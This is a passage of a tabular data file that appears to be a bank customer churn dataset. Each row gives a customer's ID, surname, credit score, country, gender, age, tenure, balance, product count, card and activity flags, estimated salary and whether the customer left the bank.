+388,15776433,Greco,730,Spain,Male,62,2,0,2,1,1,186489.95,0 +389,15748936,Whitehead,709,Spain,Female,45,2,0,2,0,1,162922.65,0 +390,15717225,Ikemefuna,544,France,Female,21,10,161525.96,2,1,0,9262.77,0 +391,15685226,Morrison,712,Germany,Female,29,7,147199.07,1,1,1,84932.4,0 +392,15785611,Onyeoruru,752,Germany,Male,38,3,183102.29,1,1,1,71557.12,0 +393,15573456,Cunningham,648,Spain,Male,46,9,127209,2,1,0,77405.95,1 +394,15684548,Demidov,556,Spain,Male,38,8,0,2,0,0,417.41,1 +395,15620505,Celis,594,Spain,Female,24,0,97378.54,1,1,1,71405.17,0 +396,15807432,Cheng,645,Germany,Female,37,2,136925.09,2,0,1,153400.24,0 +397,15584766,Knight,557,France,Male,33,3,54503.55,1,1,1,371.05,0 +398,15612187,Morin,547,Germany,Male,32,8,155726.85,1,1,0,67789.99,0 +399,15762218,Mills,701,France,Female,39,9,0,2,0,1,145894.9,0 +400,15646372,Outhwaite,616,France,Female,66,1,135842.41,1,1,0,183840.51,1 +401,15690452,Tung,605,France,Male,52,1,63349.75,1,1,0,108887.44,0 +402,15747795,Pai,593,Germany,Female,38,4,129499.42,1,1,1,154071.27,0 +403,15781589,Carpenter,751,Spain,Male,52,8,0,2,0,1,179291.85,0 +404,15732674,Fennell,443,Spain,Male,36,6,70438.01,2,0,1,56937.43,0 +405,15642291,Fontaine,685,France,Male,23,8,0,2,1,1,112239.03,0 +406,15692761,Pratt,718,France,Male,36,9,0,1,1,0,45909.87,0 +407,15578045,Mitchell,538,Spain,Female,49,9,141434.04,1,0,0,173779.25,1 +408,15745354,Franklin,611,Spain,Female,37,4,0,2,1,0,125696.26,0 +409,15701376,K'ung,668,Germany,Male,37,10,152958.29,2,1,1,159585.61,0 +410,15691625,Ko,537,Germany,Female,41,3,138306.34,1,1,0,106761.47,0 +411,15566594,McKenzie,709,Spain,Male,23,10,0,2,0,0,129590.18,0 +412,15760431,Pino,850,France,Male,38,1,0,2,1,1,80006.65,0 +413,15686302,Fisk,745,Spain,Female,31,3,124328.84,1,1,1,140451.52,0 +414,15801559,Chiang,693,Germany,Female,41,9,181461.48,3,1,1,187929.43,1 +415,15810432,Moseley,795,Spain,Male,35,8,0,2,1,0,167155.36,0 +416,15809616,Hsiung,626,Spain,Male,26,8,0,2,0,0,191420.71,0 +417,15720559,Heath,487,Germany,Female,61,5,110368.03,1,0,0,11384.45,1 +418,15695632,Dellucci,556,France,Female,39,9,89588.35,1,1,1,94898.1,0 +419,15659843,Li,643,France,Female,46,6,0,2,0,0,106781.59,0 +420,15615624,De Salis,605,France,Female,28,6,0,2,0,0,159508.52,0 +421,15810418,T'ang,756,Germany,Female,60,3,115924.89,1,1,0,93524.19,1 +422,15716186,Richardson,586,France,Female,38,2,0,2,1,0,87168.46,0 +423,15674551,Fitch,535,Germany,Male,40,7,111756.5,1,1,0,8128.32,1 +424,15622834,Stevenson,678,France,Female,35,4,0,1,1,0,125518.32,0 +425,15566111,Estes,596,France,Male,39,9,0,1,1,0,48963.59,0 +426,15784597,Lattimore,648,France,Male,26,9,162923.85,1,1,0,98368.24,0 +427,15652883,Chung,492,Germany,Male,39,10,124576.65,2,1,0,148584.61,0 +428,15806964,Utz,702,France,Male,45,0,80793.58,1,1,1,27474.81,0 +429,15576313,Wei,486,Germany,Female,40,9,71340.09,1,1,0,76192.21,0 +430,15806467,Boyle,568,Germany,Male,40,1,99282.63,1,0,0,134600.94,1 +431,15597602,Nwachinemelu,619,Germany,Male,57,3,137946.39,1,1,1,72467.99,1 +432,15743040,Kuznetsova,724,Germany,Male,41,2,127892.57,2,0,1,199645.45,0 +433,15705521,Pisani,548,Germany,Female,33,0,101084.36,1,1,0,42749.85,0 +434,15595039,Manna,545,Germany,Female,37,8,114754.08,1,1,0,136050.44,1 +435,15799384,Collier,683,France,Male,33,8,0,1,0,0,73564.44,0 +436,15581197,Ricci,762,France,Female,51,3,99286.98,1,0,1,85578.63,0 +437,15693737,Carr,627,Germany,Female,30,4,79871.02,2,1,0,129826.89,0 +438,15624623,Hs?,516,France,Male,35,10,104088.59,2,0,0,119666,0 +439,15783501,Findlay,800,France,Female,38,2,168190.33,2,1,0,68052.08,0 +440,15690134,Hughes,464,Germany,Female,42,3,85679.25,1,1,1,164104.74,0 +441,15782735,Chukwuemeka,626,France,Female,35,3,0,1,0,0,80190.36,0 +442,15611088,Genovese,790,France,Female,31,9,0,2,1,0,84126.75,0 +443,15672145,Swift,534,France,Female,34,7,121551.58,2,1,1,70179,0 +444,15732628,Ugoji,745,France,Male,46,2,122220.19,1,1,1,118024.1,0 +445,15787470,Parkinson,553,Spain,Male,47,3,116528.15,1,0,0,145704.19,1 +446,15803406,Ross,748,France,Female,26,1,77780.29,1,0,1,183049.41,0 +447,15730460,Oleary,722,France,Male,37,2,0,1,0,0,120906.83,0 +448,15644572,Turnbull,501,France,Male,40,4,125832.2,1,1,1,100433.83,0 +449,15694860,Uspensky,675,France,Female,38,6,68065.8,1,0,0,138777,1 +450,15658169,Cook,778,Spain,Female,47,6,127299.34,2,1,0,124694.99,0 +451,15794396,Newbold,494,Germany,Female,38,7,174937.64,1,1,0,40084.32,0 +452,15785798,Uchechukwu,850,France,Male,40,9,0,2,0,1,119232.33,0 +453,15710825,Ch'en,592,Spain,Male,31,7,110071.1,1,0,0,43921.36,0 +454,15668444,He,590,Spain,Female,44,3,139432.37,1,1,0,62222.81,0 +455,15726631,Hilton,758,France,Female,39,6,127357.76,1,0,1,56577,0 +456,15733797,Sal,506,France,Male,36,5,0,2,1,0,164253.35,0 +457,15747960,Eluemuno,733,France,Male,33,3,0,1,1,1,7666.73,0 +458,15634632,Titus,711,France,Male,38,3,0,2,1,0,68487.51,0 +459,15707362,Yin,514,Germany,Male,43,1,95556.31,1,0,1,199273.98,1 +460,15662976,Lettiere,637,Spain,Male,37,8,0,1,1,1,186062.36,0 +461,15732778,Templeman,468,Germany,Male,29,1,111681.98,2,1,1,195711.16,0 +462,15718443,Chibuzo,539,France,Male,39,3,0,2,1,0,36692.17,0 +463,15670039,Sun,509,Spain,Female,25,3,108738.71,2,1,0,106920.57,0 +464,15773792,Evans,662,France,Female,32,4,133950.37,1,1,1,48725.68,1 +465,15613786,Ogbonnaya,818,Spain,Male,26,4,0,2,1,1,167036.94,0 +466,15726032,Enyinnaya,608,France,Male,33,9,89968.69,1,1,0,68777.26,0 +467,15663252,Olisanugo,850,Spain,Female,32,9,0,2,1,1,18924.92,0 +468,15593782,Brookes,816,Germany,Female,38,5,130878.75,3,1,0,71905.77,1 +469,15633283,Padovano,536,France,Male,35,8,0,2,1,0,64833.28,0 +470,15749167,Fisk,753,France,Male,35,3,0,2,1,1,184843.77,0 +471,15759298,Shih,631,Spain,Male,27,10,134169.62,1,1,1,176730.02,0 +472,15683625,Hare,703,France,Male,37,1,149762.08,1,1,0,20629.4,1 +473,15635367,Muir,774,France,Male,26,2,93844.69,1,1,0,28415.36,0 +474,15681705,Fanucci,785,France,Male,28,8,0,2,1,0,77231.27,0 +475,15603156,Elewechi,571,France,Female,33,1,0,2,1,0,102750.7,0 +476,15591986,Johnston,621,Germany,Male,46,6,141078.37,1,0,0,34580.8,1 +477,15798888,Pisano,605,Germany,Female,31,1,117992.59,1,1,1,183598.77,0 +478,15809722,Ankudinov,611,France,Female,40,8,100812.33,2,1,0,147358.27,0 +479,15677538,Nwokike,569,France,Male,38,7,0,1,1,1,108469.2,0 +480,15797736,Smith,658,France,Male,29,4,80262.6,1,1,1,20612.82,0 +481,15695585,Atkins,788,Spain,Male,34,6,156478.62,1,0,1,181196.76,0 +482,15744398,Burns,525,France,Female,23,5,0,2,1,0,160249.1,0 +483,15750658,Obiuto,798,France,Male,37,8,0,3,0,0,110783.28,0 +484,15578186,Pirozzi,486,Germany,Male,37,9,115217.99,2,1,0,144995.33,0 +485,15676519,George,615,Spain,Male,61,9,0,2,1,0,150227.85,1 +486,15637954,Lewis,730,France,Female,35,0,155470.55,1,1,1,53718.28,0 +487,15758639,Moran,641,France,Male,37,7,0,2,1,0,75248.3,0 +488,15613772,Dalrymple,542,France,Male,39,3,135096.77,1,1,1,14353.43,1 +489,15731744,Carslaw,692,France,Male,30,2,0,2,0,1,130486.57,0 +490,15807709,Kirby,714,Germany,Female,55,9,180075.22,1,1,1,100127.71,0 +491,15714689,Houghton,591,Spain,Male,29,1,97541.24,1,1,1,196356.17,0 +492,15699005,Martin,710,France,Female,41,2,156067.05,1,1,1,9983.88,0 +493,15624170,Tan,639,France,Female,38,4,81550.94,2,0,1,118974.77,0 +494,15725679,Hsia,531,France,Female,47,6,0,1,0,0,194998.34,1 +495,15585865,Westerberg,673,France,Female,38,2,170061.92,2,0,0,134901.34,1 +496,15804256,Hale,765,Germany,Male,36,8,92310.54,2,1,1,72924.56,0 +497,15662403,Kryukova,622,France,Female,32,6,169089.38,2,1,0,101057.95,0 +498,15733616,Sopuluchukwu,806,France,Male,40,5,80613.93,1,1,1,142838.64,0 +499,15591995,Barry,757,Germany,Male,26,8,121581.56,2,1,1,127059.04,0 +500,15677020,Selezneva,570,France,Female,58,8,0,1,0,1,116503.92,1 +501,15727688,Chizuoke,555,Spain,Male,32,4,0,2,1,1,54405.79,0 +502,15715941,Lueck,692,France,Male,54,5,0,2,1,1,88721.84,0 +503,15714485,Udinese,774,France,Male,60,5,85891.55,1,1,0,74135.48,1 +504,15730059,Udobata,638,Spain,Male,44,9,77637.35,2,1,1,111346.22,0 +505,15715527,Freeman,543,Spain,Female,41,4,0,1,0,0,194902.16,0 +506,15576623,Outlaw,584,France,Male,31,5,0,2,1,0,31474.27,0 +507,15805565,Obiuto,691,Germany,Male,30,7,116927.89,1,1,0,21198.39,0 +508,15677307,Lo,684,Germany,Female,40,6,137326.65,1,1,0,186976.6,0 +509,15773890,Okechukwu,733,France,Male,22,5,0,2,1,1,117202.19,0 +510,15598883,King,599,Spain,Female,37,2,0,2,1,1,143739.29,0 +511,15568506,Forbes,524,Germany,Female,31,10,67238.98,2,1,1,161811.23,0 +512,15761043,Macleod,632,Germany,Female,38,6,86569.76,2,1,0,98090.91,0 +513,15782236,Gibbs,735,Spain,Male,34,5,0,2,0,0,71095.41,0 +514,15593601,Isayev,734,France,Male,34,6,133598.4,1,1,1,13107.24,0 +515,15682048,Pisano,605,France,Female,51,3,136188.78,1,1,1,67110.59,1 +516,15746902,Belstead,793,Spain,Male,38,9,0,2,1,0,88225.02,0 +517,15752081,Vassiliev,468,France,Female,56,10,0,3,0,1,62256.87,1 +518,15781307,Schneider,779,Germany,Male,37,7,120092.52,2,1,0,135925.72,0 +519,15775912,Mazzanti,698,France,Male,48,4,101238.24,2,0,1,177815.87,1 +520,15745417,Knipe,707,France,Male,58,6,89685.92,1,0,1,126471.13,0 +521,15671256,Macartney,850,France,Female,35,1,211774.31,1,1,0,188574.12,1 +522,15653547,Madukwe,850,France,Male,56,7,131317.48,1,1,1,119175.45,0 +523,15595766,Watts,527,Spain,Male,37,5,93722.73,2,1,1,139093.73,0 +524,15742358,Humphreys,696,Germany,Male,32,8,101160.99,1,1,1,115916.55,0 +525,15763274,Wu,661,France,Male,48,3,120320.54,1,0,0,96463.25,0 +526,15786063,Chin,776,France,Female,31,2,0,2,1,1,112349.51,0 +527,15600258,Chesnokova,701,France,Male,43,2,0,2,1,1,165303.79,0 +528,15573318,Kung,610,France,Male,26,8,0,2,1,0,166031.08,0 +529,15653849,Lu,572,Germany,Female,48,3,152827.99,1,1,0,38411.79,1 +530,15694272,Nkemakolam,673,France,Male,30,1,64097.75,1,1,1,77783.35,0 +531,15736112,Walton,519,Spain,Female,57,2,119035.35,2,1,1,29871.79,0 +532,15749851,Brookes,702,Spain,Female,26,4,135219.57,1,0,1,59747.63,0 +533,15663478,Baldwin,729,France,Male,32,6,93694.42,1,1,1,79919.13,0 +534,15592300,Mai,543,Spain,Male,35,10,59408.63,1,1,0,76773.53,0 +535,15567832,Shih,550,France,Female,40,7,114354.95,1,1,0,54018.93,0 +536,15776780,He,608,France,Male,59,1,0,1,1,0,70649.64,1 +537,15592846,Fiorentini,639,Germany,Male,35,10,128173.9,2,1,0,59093.39,0 +538,15739803,Lucciano,686,Spain,Male,34,9,0,2,1,0,127569.8,0 +539,15794142,Ferreira,564,Germany,Female,62,5,114931.35,3,0,1,18260.98,1 +540,15762729,Ukaegbunam,745,Germany,Female,28,1,111071.36,1,1,0,73275.96,1 +541,15667896,De Luca,833,France,Male,37,8,151226.18,2,1,1,136129.49,0 +542,15626578,Milne,622,France,Male,26,9,0,2,1,1,153237.59,0 +543,15776223,Davide,597,France,Female,42,4,64740.12,1,1,1,106841.12,0 +544,15705953,Kodilinyechukwu,721,Spain,Male,51,0,169312.13,1,1,0,109078.35,1 +545,15802593,Little,504,France,Female,49,7,0,3,0,1,87822.14,1 +546,15615457,Burns,842,Spain,Female,44,2,112652.08,2,1,0,126644.98,0 +547,15708916,Paterson,587,France,Male,38,0,0,2,1,0,47414.15,0 +548,15720187,Han,479,Germany,Female,30,7,143964.36,2,1,0,41879.99,0 +549,15595440,Kryukova,508,France,Male,49,7,122451.46,2,1,1,75808.1,0 +550,15600651,Ijendu,749,France,Male,24,1,0,3,1,1,47911.03,0 +551,15750141,Reichard,721,Germany,Female,36,3,65253.07,2,1,0,28737.78,0 +552,15657284,Day,674,Germany,Male,47,6,106901.94,1,1,1,2079.2,1 +553,15763063,Price,685,Spain,Female,25,10,128509.63,1,1,0,121562.33,0 +554,15709324,Bruce,417,France,Male,34,7,0,2,1,0,55003.79,0 +555,15711309,Sumrall,574,Germany,Male,33,3,129834.67,1,1,0,193131.42,0 +556,15775318,Lu,590,Spain,Female,51,3,154962.99,3,0,1,191932.27,1 +557,15705515,Lazarev,587,Germany,Male,40,5,138241.9,2,1,0,159418.1,0 +558,15634844,Miller,598,Germany,Male,41,3,91536.93,1,1,0,191468.78,1 +559,15717046,Wentworth-Shields,741,Spain,Male,53,3,0,2,1,1,38913.68,0 +560,15571816,Ritchie,850,Spain,Female,70,5,0,1,1,1,705.18,0 +561,15670080,Mackenzie,584,Germany,Female,29,7,105204.01,1,0,1,138490.03,0 +562,15800440,Power,650,Spain,Male,61,1,152968.73,1,0,1,82970.69,0 +563,15665678,Tan,607,Spain,Male,36,8,158261.68,1,1,1,76744.72,0 +564,15665956,Pendergrass,509,France,Female,46,1,0,1,1,0,71244.59,1 +565,15788126,Evans,689,Spain,Female,38,6,121021.05,1,1,1,12182.15,0 +566,15811773,Hsia,543,France,Male,36,4,0,2,1,1,141210.5,0 +567,15651674,Billson,438,Spain,Female,54,2,0,1,0,0,191763.07,1 +568,15689614,Teng,687,Spain,Female,63,1,137715.66,1,1,1,37938.74,0 +569,15795564,Moretti,737,Germany,Male,31,5,121192.22,2,1,1,74890.58,0 +570,15706647,Jordan,761,France,Male,31,7,0,3,1,1,166698.18,0 +571,15728505,Ts'ao,601,France,Male,44,1,100486.18,2,1,1,62678.53,0 +572,15730076,Osborne,651,France,Male,45,1,0,1,1,0,67740.08,1 +573,15622003,Carslaw,745,France,Male,35,9,92566.53,2,1,0,161519.77,0 +574,15607312,Ch'ang,648,Spain,Female,49,10,0,2,1,1,159835.78,1 +575,15644753,Hung,848,Spain,Male,40,3,110929.96,1,1,1,30876.84,0 +576,15653620,Gordon,546,France,Female,27,8,0,2,1,1,14858.1,0 +577,15761986,Obialo,439,Spain,Female,32,3,138901.61,1,1,0,75685.97,0 +578,15633922,Gray,755,France,Male,30,4,123217.66,2,0,1,144183.1,0 +579,15734674,Lin,593,France,Female,41,6,0,1,1,0,65170.66,0 +580,15658032,Hopkins,701,France,Male,39,2,0,2,1,1,82526.92,0 +581,15692671,Dobson,701,Spain,Male,36,8,0,2,1,0,169161.46,0 +582,15737741,McKay,607,Spain,Female,33,2,108431.87,2,0,1,109291.39,1 +583,15576352,Revell,586,Spain,Female,57,3,0,2,0,1,6057.81,0 +584,15753719,Rickards,547,Germany,Female,30,9,72392.41,1,1,0,77077.14,0 +585,15803689,Begum,647,Germany,Female,51,1,119741.77,2,0,0,54954.51,1 +586,15718057,Onyinyechukwuka,760,France,Female,51,2,100946.71,1,0,0,179614.8,1 +587,15722010,Zuyev,621,Spain,Male,53,9,170491.84,1,1,0,35588.07,1 +588,15680998,Nwankwo,725,France,Male,44,5,0,1,1,1,117356.14,0 +589,15614782,Hao,526,France,Male,36,1,0,1,1,0,160696.72,0 +590,15591047,Ma,519,Spain,Female,47,6,157296.02,2,0,0,147278.43,1 +591,15788291,Okwuadigbo,713,Germany,Female,38,7,144606.22,1,1,1,56594.36,1 +592,15604044,Mitchell,700,France,Male,38,8,134811.3,1,1,0,1299.75,0 +593,15679587,Chan,666,France,Female,34,9,115897.12,1,1,1,25095.03,0 +594,15775153,Buchi,630,Spain,Male,32,4,82034,1,0,0,146326.45,0 +595,15603925,Greco,779,Spain,Female,26,4,174318.13,2,0,1,38296.21,0 +596,15680970,Lombardi,611,Germany,Female,41,2,114206.84,1,1,0,164061.6,0 +597,15697183,Uchenna,685,Spain,Male,43,9,0,2,1,0,107811.28,0 +598,15567446,Coffman,646,Germany,Male,39,9,111574.41,1,1,1,30838.51,0 +599,15637476,Alexandrova,683,Germany,Female,57,5,162448.69,1,0,0,9221.78,1 +600,15714939,Fallaci,484,Germany,Female,34,4,148249.54,1,0,1,33738.27,0 +601,15683503,Hudson,601,France,Female,43,8,0,3,0,1,110916.15,1 +602,15645569,Mai,762,Spain,Female,26,7,123709.46,2,1,1,169654.57,0 +603,15782569,Stout,687,France,Female,72,9,0,1,0,1,69829.4,0 +604,15592387,Burke,566,France,Male,30,5,0,1,1,0,54926.51,1 +605,15609286,Chadwick,702,France,Male,37,10,150525.8,1,1,1,94728.49,0 +606,15814035,Lawrence,601,France,Male,29,9,0,1,1,1,80393.27,0 +607,15661249,Bellucci,699,France,Male,53,4,0,2,0,1,111307.98,0 +608,15629117,Harper,584,France,Male,28,10,0,2,1,0,19834.32,0 +609,15607170,Boyle,699,France,Male,35,5,0,2,1,1,78397.24,0 +610,15586585,Duncan,698,Germany,Female,51,2,111018.98,1,1,0,86410.28,0 +611,15686611,Moss,495,France,Male,30,10,129755.99,1,0,0,172749.65,0 +612,15603203,Avdeyeva,650,France,Female,27,6,0,2,1,0,1002.39,0 +613,15619857,Crawford,605,France,Female,64,2,129555.7,1,1,1,13601.79,0 +614,15805062,Lynton,667,Spain,Male,38,1,87202.38,1,1,1,77866.91,0 +615,15660271,Duncan,688,Germany,Male,26,8,146133.39,1,1,1,175296.76,0 +616,15745295,Gether,727,Spain,Female,31,0,0,1,1,0,121751.04,1 +617,15719352,Davidson,754,Spain,Male,39,6,170184.99,2,1,0,89593.26,0 +618,15766575,Larionova,612,Germany,Female,62,8,140745.33,1,1,0,193437.89,1 +619,15594594,Loggia,546,Spain,Male,42,7,139070.51,1,1,1,86945,0 +620,15646161,Steinhoff,673,Spain,Female,37,8,0,2,1,1,183318.79,0 +621,15682585,Guerra,593,France,Male,35,9,114193.24,1,1,0,71154.1,0 +622,15603134,Pai,656,Spain,Female,40,10,167878.5,1,0,1,151887.16,0 +623,15636444,Craig,535,Germany,Female,53,5,141616.55,2,1,1,75888.65,0 +624,15773456,Lazareva,678,Germany,Male,36,3,145747.67,2,0,1,89566.74,0 +625,15745307,Ch'iu,477,Spain,Female,48,2,129120.64,1,0,1,26475.79,0 +626,15604119,Alderete,850,Spain,Male,35,7,110349.82,1,0,0,126355.8,0 +627,15626900,Kung,427,France,Male,29,1,141325.56,1,1,1,93839.3,0 +628,15605447,Palermo,752,France,Male,49,2,78653.84,1,1,0,7698.6,0 +629,15589030,Ts'ai,649,France,Male,47,1,0,2,1,1,145593.85,0 +630,15692463,Rahman,799,Spain,Female,28,3,142253.65,1,1,0,45042.56,0 +631,15712403,McMillan,589,France,Female,61,1,0,1,1,0,61108.56,1 +632,15811762,Pickering,583,Germany,Female,54,6,115988.86,1,1,0,57553.98,1 +633,15718673,Mirams,839,Spain,Female,33,10,75592.43,1,1,0,62674.42,0 +634,15724282,Tsao,540,Germany,Male,44,3,164113.04,2,1,1,12120.79,0 +635,15738181,Douglas,850,France,Male,31,6,67996.23,2,0,0,50129.87,1 +636,15633648,Jideofor,696,Spain,Female,51,5,0,2,1,0,55022.43,0 +637,15603323,Bell,660,Spain,Female,33,1,0,2,0,0,117834.91,0 +638,15583725,Mairinger,682,France,Male,48,1,138778.15,1,0,1,168840.23,0 +639,15588350,McIntyre,744,France,Female,43,10,147832.15,1,0,1,24234.11,0 +640,15798398,Pagnotto,785,France,Female,36,4,135438.4,1,0,0,190627.01,0 +641,15784844,K'ung,752,Spain,Male,48,5,116060.08,1,1,0,156618.38,1 +642,15580684,Feng,706,France,Female,29,5,112564.62,1,1,0,42334.38,0 +643,15809663,Donaldson,583,France,Female,27,1,125406.58,1,1,1,110784.42,0 +644,15640078,Chambers,660,Germany,Female,39,5,135134.99,1,1,0,173683,1 +645,15698786,Marcelo,819,France,Female,39,9,133102.92,1,1,0,27046.46,1 +646,15569807,Ejimofor,673,France,Female,34,8,42157.08,1,1,0,20598.59,1 +647,15730830,Dale,752,France,Female,30,3,0,2,1,1,104991.28,0 +648,15805112,Pokrovsky,578,France,Male,38,7,82259.29,1,1,0,8996.97,0 +649,15633064,Stonebraker,438,France,Female,36,4,0,2,1,0,64420.5,0 +650,15703119,Liang,652,France,Male,38,6,0,2,1,1,145700.22,0 +651,15730447,Anderson,629,France,Female,49,4,0,2,1,1,196335.48,0 +652,15813850,Christian,720,France,Male,52,7,0,1,1,1,14781.12,0 +653,15711889,Mao,668,France,Male,42,3,150461.07,1,1,0,108139.23,0 +654,15664610,Campbell,459,Germany,Male,48,4,133994.52,1,1,1,19287.06,1 +655,15751710,Ginikanwa,729,Spain,Male,31,8,164870.81,2,1,1,9567.39,0 +656,15692926,Toscani,498,Germany,Male,25,8,121702.73,1,1,1,132210.49,0 +657,15813741,Nnachetam,549,Spain,Male,25,6,193858.2,1,0,1,21600.11,0 +658,15698474,Sagese,601,Germany,Female,54,1,131039.97,2,1,1,199661.5,0 +659,15568595,Fleming,544,France,Male,64,9,113829.45,1,1,1,124341.49,0 +660,15603065,Grubb,751,France,Female,30,6,0,2,1,0,15766.1,0 +661,15592937,Napolitani,632,Germany,Female,41,3,81877.38,1,1,1,33642.21,0 +662,15699637,Anenechi,694,Spain,Male,57,8,116326.07,1,1,1,117704.65,0 +663,15667215,Chandler,678,France,Male,31,2,0,2,1,1,58803.28,0 +664,15788659,Howells,695,France,Male,46,4,0,2,1,1,137537.22,0 +665,15763218,Akeroyd,661,France,Female,41,1,0,2,0,1,131300.68,0 +666,15645772,Onwumelu,661,France,Male,33,9,0,2,1,1,84174.81,0 +667,15725511,Wallace,559,France,Female,31,3,127070.73,1,0,1,160941.78,0 +668,15575024,Uwaezuoke,503,France,Male,29,3,0,2,1,1,143954.99,0 +669,15640825,Loyau,695,Spain,Male,46,3,122549.64,1,1,1,56297.85,0 +670,15662397,Small,640,France,Female,42,5,176099.13,1,1,1,8404.73,0 +671,15576368,Bledsoe,624,Germany,Female,48,3,122388.38,2,0,0,30020.09,0 +672,15674991,Kao,667,France,Male,42,9,0,2,0,1,58137.42,0 +673,15721024,Wickens,642,France,Male,26,0,0,1,0,0,47472.68,0 +674,15745621,Wertheim,640,Spain,Female,32,6,118879.35,2,1,1,19131.71,0 +675,15642394,He,529,Spain,Male,35,5,0,2,1,1,187288.5,0 +676,15754605,Jarvis,563,France,Female,39,5,0,2,1,1,17603.81,0 +677,15607040,P'an,593,Spain,Female,38,4,88736.44,2,1,0,67020.03,0 +678,15715142,Repina,739,Germany,Male,45,7,102703.62,1,0,1,147802.94,1 +679,15810978,Pugliesi,788,Spain,Female,70,1,0,2,1,1,41610.62,0 +680,15668886,Blakey,684,Spain,Female,38,3,0,2,1,0,44255.65,0 +681,15780804,Nucci,482,France,Male,55,5,97318.25,1,0,1,78416.14,0 +682,15613880,Higinbotham,591,Spain,Male,58,5,128468.69,1,0,1,137254.55,0 +683,15775238,Achebe,651,Germany,Female,41,4,133432.59,1,0,1,151303.48,0 +684,15786905,Russo,749,Germany,Female,40,8,141782.57,2,0,0,86333.63,0 +685,15747867,Trevisani,583,France,Male,24,9,135125.28,1,0,0,89801.9,0 +686,15600337,Dobie,661,Spain,Male,42,2,178820.91,1,0,0,29358.57,1 +687,15801277,Maccallum,715,France,Female,31,2,112212.14,2,1,1,181600.72,0 +688,15579334,Watkins,769,Germany,Female,45,5,126674.81,1,1,0,124118.71,1 +689,15802741,Mitchel,625,France,Female,51,7,136294.97,1,1,0,38867.46,1 +690,15720649,Ferdinand,641,France,Female,36,5,66392.64,1,1,0,31106.67,0 +691,15589493,Otitodilinna,716,Germany,Male,27,1,122552.34,2,1,0,67611.36,0 +692,15688251,Mamelu,767,France,Male,43,1,76408.85,2,1,0,77837.63,0 +693,15665238,Beneventi,745,Germany,Male,36,8,145071.24,1,0,0,6078.46,0 +694,15740900,Perrodin,589,France,Male,34,6,0,2,1,1,177896.92,0 +695,15681068,Chinagorom,796,France,Female,45,2,109730.22,1,1,1,123882.73,0 +696,15748625,Napolitano,664,France,Male,57,6,0,2,1,1,15304.08,0 +697,15727299,Edgar,445,Spain,Male,62,1,64119.38,1,1,1,76569.64,1 +698,15620204,Walker,543,Germany,Female,57,1,106138.33,2,1,1,120657.32,1 +699,15669516,Steele,746,Spain,Male,36,2,0,2,1,1,16436.56,0 +700,15736534,Elkins,742,Germany,Male,33,0,181656.51,1,1,1,107667.91,0 +701,15803457,Hao,750,France,Female,32,5,0,2,1,0,95611.47,0 +702,15659098,Toscano,669,France,Male,30,7,95128.86,1,0,0,19799.26,0 +703,15603436,Savage,594,Spain,Female,49,2,126615.94,2,0,1,123214.74,0 +704,15566292,Okwuadigbo,574,Spain,Male,36,1,0,2,0,1,71709.12,0 +705,15808621,Mordvinova,659,Germany,Male,36,2,76190.48,2,1,1,149066.14,0 +706,15580148,Welch,750,Germany,Male,40,5,168286.81,3,1,0,20451.99,1 +707,15776231,Kent,626,Germany,Male,35,4,88109.81,1,1,1,32825.5,0 +708,15773809,Campbell,620,France,Male,42,4,0,2,1,0,6232.31,0 +709,15649423,Cooper,580,France,Female,35,8,0,2,0,1,10357.03,0 +710,15734886,Mazzi,686,France,Female,34,3,123971.51,2,1,0,147794.63,0 +711,15722548,Fisher,540,France,Male,48,0,148116.48,1,0,0,116973.48,0 +712,15650288,Summers,634,Germany,Male,35,6,116269.01,1,1,0,129964.94,0 +713,15629448,Brady,632,Spain,Male,38,1,120599.21,1,1,0,92816.86,0 +714,15716164,Nicholls,501,France,Female,41,3,144260.5,1,1,0,172114.67,0 +715,15807609,Yuan,650,Spain,Female,25,3,86605.5,3,1,0,16649.31,1 +716,15578977,Robinson,786,France,Male,34,9,0,2,1,0,144517.19,0 +717,15677369,Golubov,554,Germany,Female,37,4,58629.97,1,0,0,182038.6,0 +718,15804072,Chen,701,Spain,Female,42,5,0,2,0,0,24210.56,0 +719,15696859,Oldham,474,France,Male,45,10,0,2,0,0,172175.9,0 +720,15653780,Kambinachi,621,France,Female,43,5,0,1,1,1,47578.45,0 +721,15721658,Fleming,672,Spain,Female,56,2,209767.31,2,1,1,150694.42,1 +722,15578761,Cunningham,459,Spain,Female,42,6,129634.25,2,1,1,177683.02,1 +723,15736879,Obinna,669,France,Male,23,1,0,2,0,0,66088.83,0 +724,15571973,Chinwemma,776,France,Female,38,2,169824.46,1,1,0,169291.7,0 +725,15626742,Carpenter,694,France,Male,36,3,97530.25,1,1,1,117140.41,0 +726,15672692,Yin,787,France,Female,42,10,145988.65,2,1,1,79510.37,0 +727,15673570,Olsen,580,France,Male,37,9,0,2,0,1,77108.66,0 +728,15767432,Ts'ai,711,France,Female,25,7,0,3,1,1,9679.28,0 +729,15654238,Jen,673,France,Female,40,5,137494.28,1,1,0,81753.92,0 +730,15612525,Preston,499,France,Female,57,1,0,1,0,0,131372.38,1 +731,15812750,Ozioma,591,France,Male,24,6,147360,1,1,1,25310.82,0 +732,15790757,Cody,769,France,Female,25,10,0,2,0,0,187925.75,0 +733,15723873,Ponomarev,657,Spain,Male,31,3,125167.02,1,0,0,98820.39,0 +734,15744607,Martin,738,Germany,Male,43,9,121152.05,2,1,0,64166.7,1 +735,15612966,Milani,545,Germany,Female,60,7,128981.07,1,0,1,176924.21,1 +736,15784209,Tang,497,France,Male,47,6,0,1,1,1,90055.08,0 +737,15794278,Romani,816,Spain,Male,67,6,151858.98,1,1,1,72814.31,0 +738,15766741,McIntyre,525,France,Male,36,2,114628.4,1,0,1,168290.06,0 +739,15661036,Davis,725,France,Male,46,6,0,2,1,0,161767.38,0 +740,15705639,Onyemauchechukwu,692,France,Female,28,8,95059.02,2,1,0,44420.18,0 +741,15637414,Gell,618,France,Female,24,7,128736.39,1,0,1,37147.61,0 +742,15716835,Rossi,546,France,Male,24,8,156325.38,1,1,1,125381.02,0 +743,15696231,Chiwetelu,635,France,Male,29,7,105405.97,1,1,1,149853.89,0 +744,15641675,Kirillova,611,France,Female,49,2,88915.37,3,0,0,161435.02,1 +745,15670755,Shaw,650,France,Male,60,8,0,2,1,1,102925.76,0 +746,15640059,Smith,606,France,Male,40,5,0,2,1,1,70899.27,0 +747,15787619,Hsieh,844,France,Male,18,2,160980.03,1,0,0,145936.28,0 +748,15587535,Onyemauchechukwu,450,Spain,Female,46,5,177619.71,1,1,0,54227.06,0 +749,15813034,Martin,727,Spain,Male,38,2,62276.99,1,1,1,59280.79,0 +750,15698839,Okwudilichukwu,460,Germany,Male,46,4,127559.97,2,1,1,126952.5,0 +751,15790314,Onuoha,649,France,Male,41,0,0,2,0,1,130567.02,0 